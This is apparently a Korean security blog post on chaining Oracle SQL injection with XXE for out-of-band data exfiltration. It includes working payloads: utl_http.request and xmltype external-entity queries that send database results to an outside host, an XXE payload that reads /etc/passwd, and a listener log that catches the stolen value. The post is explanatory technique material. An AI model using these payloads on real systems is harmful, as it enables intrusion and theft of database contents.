최근 SQL인젝션을 다양한 방법으로 확장 공격해보고 있는데,  XML 함수를 이용하여 마치 XXE 처럼 공격할 수 있는 방법이 있어서 정리해둔다. 



BlindSQL 인젝션

ex) 7777 and 1=1 from dual--



OOB (Out of Band)

OOB란 외부 채널로 데이터를 빼내는 방식을 말한다. blind 일때 데이터를 빼내려면 쿼리를 6~7번 해야 겨우 1글자를 알아낼 수 있는 반면, OOB를 이용하면 쿼리1번에 데이터를 다 뽑아올수도 있다. 즉 속도 면에서 Blind 방식 대비 훨씬 빠르다는 장점이 있다.


ex) and 1=(select utl_http.request('http://www.secuholic.com/'||(select user from dual)) from dual) from dual --


이렇게 하면 www.secuholic.com 웹서버에 (select user from dual) 의 결과값인 hyunmini 가 추가된 GET요청을 날리게 되고, 서버에서 웹로그를 확인하면 해당 쿼리의 결과를 확인할 수 있게 되는 원리이다. 같은 원리로 dns 요청을 날리는 방법도 존재한다.





XXE(XML eXternal Entity)


XXE는 몇년 전부터 이슈가 되었던 취약점으로, XML파서를 공격하는 데 주로 사용되는 공격방법이다. 정확히는 external entity 는 원래 있는 기능이고, 이를 악용하면 파일 읽기, 폴더 읽기, SSRF 등 다양한 악성 행위가 가능한 취약점이다.


ex) XXE 예시

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE root [ 

   <!ENTITY xxe SYSTEM "file:///etc/passwd"> 

]>

<tag>&xxe;</tag>






XXE 를 이용한 SQL인젝션 OOB (SQL인젝션 + XXE)


오라클에서 xmltype 함수를 이용하여 XML 을 사용할 수 있는데 이때 XXE 를 활용할 수 있다. 즉 아래와 같은 방법으로 오라클의 xml parser 에게 외부 서버로 OOB 를 날리도록 하여 쿼리 결과를 받을 수 있다.



 7777 and 1=((select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE  root [ <!ENTITY % remote SYSTEM "http://x.x.x.x/'||(SELECT user from dual)||'">%remote;]>'),'/l') from dual)) FROM DUAL-- 







결과값을 받을 외부 서버에서)


# python -m SimpleHTTPServer 53

Serving HTTP on 0.0.0.0 port 53 ...

x.x.x.x. - - [09/Nov/2018 10:48:25] code 404, message File not found

x.x.x.x - - [09/Nov/2018 10:48:25] "GET /hyunmini HTTP/1.0" 404 -




위와 같이 GET 요청에 쿼리 결과값이 포함되어 날아오는 것을 확인할 수 있다.


웹해킹은 여전히 심오하다. 끝.

+ Recent posts